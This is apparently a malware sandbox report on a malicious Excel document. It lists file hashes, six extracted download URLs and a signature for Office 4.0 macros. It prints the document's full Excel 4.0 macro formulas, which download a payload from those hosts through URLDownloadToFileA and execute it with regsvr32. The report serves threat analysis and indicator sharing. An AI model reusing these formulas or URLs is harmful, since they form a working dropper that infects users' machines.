General
-
Target
ad70d5e2fd1c86105be9314f2a9086b9f6aff98e2286ee9b1a4ef616bb7a7dc2
-
Size
46KB
-
MD5
2261660ddf286bed957c48dac2d61558
-
SHA1
afd860646bb20fb001d7d67eab55924138d5630f
-
SHA256
ad70d5e2fd1c86105be9314f2a9086b9f6aff98e2286ee9b1a4ef616bb7a7dc2
-
SHA512
9ef3fd87c662dd29280176eb73cd79ca078f58827ed6445cb52194dbc2a22ed5fe8f8ec62768036d32c390d39a06b34a804b42a9ac904dff67452cfc9d17a862
-
SSDEEP
768:hGovDOevZCwrvtBtfzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2fUPZa:wovDztT5fTR4Lh1NisFYBc3cr+UqVU5c
Malware Config
Extracted
http://touqarrayan.com/wp-content/RoiB/
http://nayzaqaljanoob-iq.com/sapbush/tylhe1/
http://cabinet-bribech.com/wp/DyMNglRY5B4abPy1hH/
http://retailhpsinterview.com/cgi-bin/dJp9RYh/
https://lisalmcgee.com/images/xpl7i1ETzHPwaFd89HS/
https://collision-staging.com/wp-content/94PQ1/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://touqarrayan.com/wp-content/RoiB/","..\enu.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://nayzaqaljanoob-iq.com/sapbush/tylhe1/","..\enu.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://cabinet-bribech.com/wp/DyMNglRY5B4abPy1hH/","..\enu.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://retailhpsinterview.com/cgi-bin/dJp9RYh/","..\enu.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://lisalmcgee.com/images/xpl7i1ETzHPwaFd89HS/","..\enu.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://collision-staging.com/wp-content/94PQ1/","..\enu.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\enu.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
ad70d5e2fd1c86105be9314f2a9086b9f6aff98e2286ee9b1a4ef616bb7a7dc2